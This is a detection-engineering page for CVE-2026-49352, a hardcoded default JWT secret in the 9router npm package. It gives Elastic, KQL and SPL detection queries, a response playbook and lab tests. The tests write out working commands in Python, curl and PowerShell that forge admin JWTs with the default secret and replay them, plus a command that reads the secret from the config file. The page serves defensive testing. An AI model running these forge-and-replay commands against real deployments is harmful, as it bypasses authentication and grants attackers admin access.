Detect 9router Hardcoded Default JWT Secret Authentication Bypass (CVE-2026-49352) in Elastic Security
Detects exploitation attempts against 9router (npm package) versions 0.2.21 through 0.4.41, which ship a hardcoded default fallback JWT signing secret (CWE-798). When an operator fails to override the default secret, an attacker can forge arbitrary JWTs (including admin/privileged claims) and bypass authentication entirely. Detection focuses on identifying JWTs signed with the known-public default secret, anomalous authentication success patterns following token forgery, and process/network indicators consistent with public PoC exploitation against 9router deployments.
MITRE ATT&CK
Elastic Detection Query
authentication where event.dataset == "9router.auth" and
jwt.header.alg in ("HS256", "HS384", "HS512") and
event.outcome == "success" and
(source.session.id == null or user_agent.original : ("*python-requests*", "*curl*", "*jwt_tool*", "*PyJWT*")) EQL rule detecting successful JWT authentication events to 9router without a preceding session, or originating from tooling commonly used to forge JWTs with a known default secret.
Data Sources
Required Tables
False Positives & Tuning
- Stateless API clients that never establish a prior session by design
- Security scanners with generic HTTP user agents
- Newly provisioned automation accounts
Other platforms for CVE-2026-49352
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Forge JWT using published default secret
Expected signal: Application auth log entry showing a successful authentication event with HS256 JWT and admin role claim, with no prior session record for the subject.
- Test 2Simulate JWT forgery tooling user agent
Expected signal: HTTP access log and application auth log capturing the jwt_tool user agent string alongside an authentication attempt.
- Test 3Validate unrotated default secret configuration
Expected signal: File access/read event on the 9router config file captured by EDR or file integrity monitoring.
- Test 4Windows PowerShell JWT forgery and replay
Expected signal: Windows PowerShell script block logging (Event ID 4104) capturing the token generation, plus 9router application auth log for the replayed request.
Response Playbook
Triage
- Confirm the deployed 9router version via package.json/lockfile or npm ls 9router; versions >=0.2.21 and <=0.4.41 are vulnerable to the hardcoded default JWT secret.
- Check whether the JWT_SECRET (or equivalent config) environment variable/config value has been explicitly overridden from the library default; if unset, treat the instance as trivially exploitable.
- Decode any suspicious JWTs from access logs (jwt.io offline or a local decoder) and attempt to verify the signature against the known public default secret from the GHSA advisory to confirm forgery.
- Review authentication logs for successful logins with unusual claims (e.g., elevated roles/admin subjects) that have no corresponding legitimate login event or MFA challenge.
Containment
- Immediately rotate/override the JWT signing secret to a strong, randomly generated value and restart the 9router service to invalidate all previously issued tokens.
- Revoke all active sessions/tokens issued prior to remediation, and force re-authentication for all users; consider temporarily disabling the affected 9router endpoint if patching cannot occur immediately.
- Upgrade 9router to a patched release (>0.4.41 per vendor advisory) as soon as available, verifying the fix removes the hardcoded fallback secret path.
Evidence Collection
- Preserve raw HTTP access/application logs covering the suspected exploitation window, including full request/response headers and Authorization bearer tokens.
- Export and securely archive any decoded JWT payloads/signatures used to confirm forgery, along with the 9router configuration file/environment showing the JWT secret setting at time of incident.
- Capture process and network connection data (EDR telemetry) for the host running 9router to identify any post-auth-bypass lateral movement or data access.
Escalation Criteria
- !Escalate to incident response if forged JWTs with administrative/privileged claims were used to authenticate successfully against production systems.
- !Escalate if evidence shows the attacker pivoted beyond authentication bypass into data exfiltration, configuration changes, or additional account creation.
- !Escalate if the affected 9router instance is internet-facing and the default secret has not yet been rotated, given the 9.8 CVSS and public PoC availability.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Application/auth logs containing JWT bearer tokens, algorithm headers, and claim payloads - >
9router runtime configuration or environment showing whether JWT_SECRET was overridden from the library default - >
Web server/reverse proxy access logs showing source IPs, user agents, and request patterns during the suspected exploitation window
Tuning Guidance
Baseline normal 9router client behavior (expected user agents, session continuity patterns, typical claim structures) for at least one week before enabling this detection in blocking/alerting mode. Suppress or tune out known stateless integrations and CI/CD service accounts that legitimately lack prior session context. Once the JWT secret has been rotated and the package patched, treat any subsequent match as high-confidence malicious since exploitation of the default secret would no longer succeed against remediated systems.
Hunting Queries
Hunts for JWTs carrying privileged role claims that appear without any prior legitimate session, a strong indicator of forged tokens exploiting the hardcoded default secret.
NineRouterAuthLog_CL
| where TimeGenerated > ago(7d)
| extend Claims = parse_json(JwtPayload_s)
| where Claims.role in ("admin","superuser") and isempty(PriorSessionId_s)
| project TimeGenerated, SrcIpAddr_s, JwtSubject_s, Claims index=* sourcetype=9router:auth
| spath input=jwt_payload
| where (role="admin" OR role="superuser") AND isnull(prior_session_id)
| table _time src_ip jwt_subject role Atomic Red Team Tests
Uses a local script to sign a JWT with the publicly known 9router default fallback secret and attempt authentication against a lab instance.
Command
python3 -c "import jwt,sys; secret=open('default_secret.txt').read().strip(); token=jwt.encode({'sub':'admin','role':'admin'}, secret, algorithm='HS256'); print(token)" > forged_token.txt && curl -s -H "Authorization: Bearer $(cat forged_token.txt)" http://lab-9router.local/api/protected Cleanup
rm -f forged_token.txt default_secret.txt Expected Telemetry
Application auth log entry showing a successful authentication event with HS256 JWT and admin role claim, with no prior session record for the subject.
Expected Detection
kql/spl rules match on successful auth with privileged claims and missing prior session context.
Sends an authentication request using jwt_tool's default user agent string to simulate exploitation via public PoC tooling against 9router.
Command
curl -s -A "jwt_tool" -H "Authorization: Bearer <forged_or_test_token>" http://lab-9router.local/api/login Cleanup
No persistent changes; clear shell history entry if desired. Expected Telemetry
HTTP access log and application auth log capturing the jwt_tool user agent string alongside an authentication attempt.
Expected Detection
Detections flagging client_user_agent matches for jwt_tool/PyJWT/python-requests trigger an alert.
Checks a lab 9router deployment's running configuration/environment to confirm whether the JWT secret still matches the library's hardcoded default, simulating attacker reconnaissance.
Command
node -e "const cfg=require('/opt/9router/config.js'); console.log('current_secret=' + cfg.jwtSecret);" | tee current_secret_check.txt Cleanup
rm -f current_secret_check.txt Expected Telemetry
File access/read event on the 9router config file captured by EDR or file integrity monitoring.
Expected Detection
File access monitoring or EDR process telemetry flags unauthorized reads of application configuration files containing secret material.
On a Windows lab host, forges a JWT with the known default secret using PowerShell and replays it against the 9router API to validate detection coverage on Windows-hosted deployments.
Command
powershell -Command "$secret='<default_secret_from_advisory>'; $token = New-JwtToken -Payload @{sub='admin';role='admin'} -Secret $secret -Algorithm HS256; Invoke-WebRequest -Uri 'http://lab-9router.local/api/protected' -Headers @{Authorization=\"Bearer $token\"}" Cleanup
Remove any locally cached token variables from the PowerShell session (exit session or Remove-Variable token,secret). Expected Telemetry
Windows PowerShell script block logging (Event ID 4104) capturing the token generation, plus 9router application auth log for the replayed request.
Expected Detection
SIEM correlation rule linking PowerShell JWT-crafting activity with a subsequent successful 9router authentication event.